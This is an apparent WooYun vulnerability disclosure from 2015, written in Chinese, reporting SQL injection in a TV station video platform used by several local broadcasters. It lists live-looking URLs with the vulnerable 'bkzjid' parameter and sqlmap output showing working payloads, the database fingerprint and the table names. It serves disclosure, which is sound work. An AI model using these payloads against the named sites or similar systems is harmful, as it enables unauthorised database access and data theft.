某电视台在线播放系统注射漏洞 | wooyun-2015-0105689

漏洞概要关注数(24) 关注此漏洞

缺陷编号：

wooyun-2015-0105689

漏洞标题：

某电视台在线播放系统注射漏洞

漏洞详情

披露状态：

2015-04-07：积极联系厂商并且等待厂商认领中，细节不对外公开
2015-05-22：厂商已经主动忽略漏洞，细节向公众公开

简要描述：

有些电视台在使用

详细说明：

厂商貌似是：http://www.wslh.net/index.php?m=content&c=index&a=lists&catid=2
出现在以下url里，据说提供五条实例才算通用？：
http://v.pudongtv.cn/t/t1/user/bkzjsplb.aspx?m=1&n=1&uid=51&paixu=0&bkzjid=51
http://v.sygd.tv/t/t1/user/bkzjsplb.aspx?m=1&n=1&uid=51&paixu=0&bkzjid=51
http://v.zghhzx.com.cn/t/t1/user/bkzjsplb.aspx?m=1&n=1&uid=1&paixu=0&bkzjid=1
http://v.jjbctv.com/t/t1/user/bkzjsplb.aspx?m=1&n=1&uid=1&paixu=0&bkzjid=1
http://v.hcvw.cn/t/t1/user/bkzjsplb.aspx?m=1&n=1&uid=1&paixu=0&bkzjid=1
...
其中bkzjid参数存在注入：

GET parameter 'bkzjid' is vulnerable. Do you want to keep testing the others (i
 any)? [y/N] y
sqlmap identified the following injection points with a total of 44 HTTP(s) req
ests:
---
Place: GET
Parameter: bkzjid
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: m=1&n=1&uid=51&paixu=0&bkzjid=51 AND 7130=7130
    Type: UNION query
    Title: Generic UNION query (NULL) - 1 column
    Payload: m=1&n=1&uid=51&paixu=0&bkzjid=-5010 UNION ALL SELECT CHAR(113)+CHA
(108)+CHAR(115)+CHAR(121)+CHAR(113)+CHAR(120)+CHAR(107)+CHAR(70)+CHAR(120)+CHAR
90)+CHAR(105)+CHAR(102)+CHAR(106)+CHAR(119)+CHAR(75)+CHAR(113)+CHAR(115)+CHAR(1
9)+CHAR(119)+CHAR(113)--
    Type: stacked queries
    Title: Microsoft SQL Server/Sybase stacked queries
    Payload: m=1&n=1&uid=51&paixu=0&bkzjid=51; WAITFOR DELAY '0:0:5'--
    Type: AND/OR time-based blind
    Title: Microsoft SQL Server/Sybase time-based blind
    Payload: m=1&n=1&uid=51&paixu=0&bkzjid=51 WAITFOR DELAY '0:0:5'--
---
[21:38:11] [INFO] testing Microsoft SQL Server
[21:38:11] [INFO] confirming Microsoft SQL Server
[21:38:12] [INFO] the back-end DBMS is Microsoft SQL Server
web server operating system: Windows 2008 R2 or 7
web application technology: ASP.NET, ASP.NET 4.0.30319, Microsoft IIS 7.5
back-end DBMS: Microsoft SQL Server 2008
[21:38:12] [INFO] fetching database names
[21:38:13] [INFO] the SQL query used returns 7 entries
[21:38:13] [INFO] retrieved: master
[21:38:13] [INFO] retrieved: model
[21:38:13] [INFO] retrieved: msdb
[21:38:13] [INFO] retrieved: ReportServer
[21:38:14] [INFO] retrieved: ReportServerTempDB
[21:38:14] [INFO] retrieved: tempdb
[21:38:14] [INFO] retrieved: WSLH
available databases [7]:
[*] master
[*] model
[*] msdb
[*] ReportServer
[*] ReportServerTempDB
[*] tempdb
[*] WSLH

默认sa权限，数据库：WSLH

Database: wslh
[23 tables]
+-------------------+
| Bo1KeShiPin       |
| Bo1KeZhuanJi      |
| CunChuFuWuQi      |
| DianShiJieMuYuGao |
| DianShiTai        |
| GeRenGongGao      |
| IpDataBase        |
| LiuYan            |
| NeiRongFenLei     |
| PinDao            |
| PingLun           |
| RiZhi             |
| ShiPinFenLei      |
| ShiPinFenLei      |
| ShiPinSuCai       |
| XiangCeZhaoPian   |
| XiangCeZhuanJi    |
| YongHuHaoYou      |
| YongHuHaoYou      |
| YongHuJiaoSe      |
| YongHuShouCang    |
| ZhiBoTaoLun       |
| ZiBoRenWu         |
+-------------------+

漏洞证明：

修复方案：

这个系统开发的不谨慎，视频上传、get、post提交时的参数没有严格处理，导致注射等漏洞的产生可能获取系统权限，对地方电视台造成不必要的影响。

版权声明：转载请注明来源 piaoye@乌云

漏洞回应

厂商回应：

未能联系到厂商或者厂商积极拒绝

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